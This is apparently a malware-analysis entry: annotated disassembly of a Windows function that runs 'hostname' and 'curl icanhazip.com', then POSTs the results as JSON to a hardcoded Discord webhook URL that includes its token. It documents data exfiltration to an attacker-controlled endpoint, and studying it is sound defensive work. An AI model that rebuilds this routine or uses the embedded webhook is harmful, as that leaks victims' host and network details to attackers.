Function at 0x140001350
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x28], rax
xor esi, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Fontesie_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r13, rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.api_webhooks_1232206306463449088_BgYqpzRn3a12h8me7HpRQ26dA_P4yEp7lMdLnPRay5JfWFe9mAg4EjQMBQjSryGluAmn
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
lea rdx, str.hostname
lea rcx, [rbp - 0x38]
call fcn.140001270
nop
lea rdi, [rbp - 0x38]
mov r9, qword [rbp - 0x38]
mov r8, qword [rbp - 0x20]
cmp r8, 0xf
cmova rdi, r9
add rdi, qword [rbp - 0x28]
lea rbx, [rbp - 0x38]
cmp r8, 0xf
cmova rbx, r9
add rbx, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
cmp r8, 0xf
cmova rcx, r9
mov r8b, 0xa
mov rdx, rbx
call fcn.140001db0
mov r8, rax
cmp rax, rbx
je 0x140001466
inc rax
cmp rax, rbx
je 0x140001466
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, 0xa
je 0x14000145e
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x140001450
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rax, qword [rbp - 0x38]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rbx, qword [rbp - 0x28]
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rcx, qword [rbp - 0x38]
add rcx, r9
sub rbx, rdi
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x28], rbx
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], 0xf
mov ecx, 0x20
call fcn.140001eb0
mov rdx, rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x18], 0x1c
mov qword [rbp + 0x20], 0x1f
movups xmm0, xmmword [str.curl__s_http:__icanhazip.com]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140003510]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x140003518]
mov dword [rdx + 0x18], eax
mov byte [rdx + 0x1c], 0
lea rcx, [rbp - 0x58]
call fcn.140001270
nop
lea rdi, [rbp - 0x58]
mov r8, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
cmova rdi, r8
add rdi, qword [rbp - 0x48]
lea rbx, [rbp - 0x58]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp - 0x48]
lea rcx, [rbp - 0x58]
cmp rdx, 0xf
cmova rcx, r8
mov r8b, 0xa
mov rdx, rbx
call fcn.140001db0
mov r8, rax
cmp rax, rbx
je 0x140001586
inc rax
cmp rax, rbx
je 0x140001586
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, 0xa
je 0x14000157e
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x140001570
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rax, qword [rbp - 0x58]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rbx, qword [rbp - 0x48]
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
add rcx, r9
sub rbx, rdi
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x48], rbx
mov r15, qword [rbp - 0x28]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x19
jb 0x140001aa1
lea r14, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova r14, qword [rbp - 0x38]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rsi, [r15 + 0x19]
mov ebx, 0xf
lea rdi, [rbp - 0x78]
cmp rsi, rbx
jbe 0x14000169e
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001661
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001eb0
test rax, rax
je 0x1400018dc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000169a
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001689
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001aa7
jmp 0x140001642
test rcx, rcx
je 0x140001698
call fcn.140001eb0
mov rdi, rax
jmp 0x14000169a
xor edi, edi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rbx
movups xmm0, xmmword [str._content_:__Retrieved__]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x140003538]
movsd qword [rdi + 0x10], xmm0
movzx eax, byte [0x140003540]
mov byte [rdi + 0x18], al
lea rcx, [rdi + 0x19]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 2
lea rdx, [0x140003524]
lea rcx, [rbp - 0x78]
call fcn.140001ba0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova r9, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000177e
lea rax, [rcx + rdi]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], sil
lea rax, [rsp + 0x40]
jmp 0x140001790
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140001c20
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x140003520]
lea rcx, [rsp + 0x68]
call fcn.140001ba0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140001844
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000183f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000183f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eec
movdqa xmm0, xmmword [0x1400035c0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001897
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001892
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001892
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eec
movdqa xmm0, xmmword [0x1400035c0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400018e8
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eec
lea r9, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rsi
mov eax, dword [rbp - 8]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14000192b
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140001986
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001981
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001981
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eec
movdqa xmm0, xmmword [0x1400035c0]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400019d5
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eec
movdqa xmm0, xmmword [0x1400035c0]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140001a24
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eec
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001a72
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001eec
xor eax, eax
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.140001e90
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3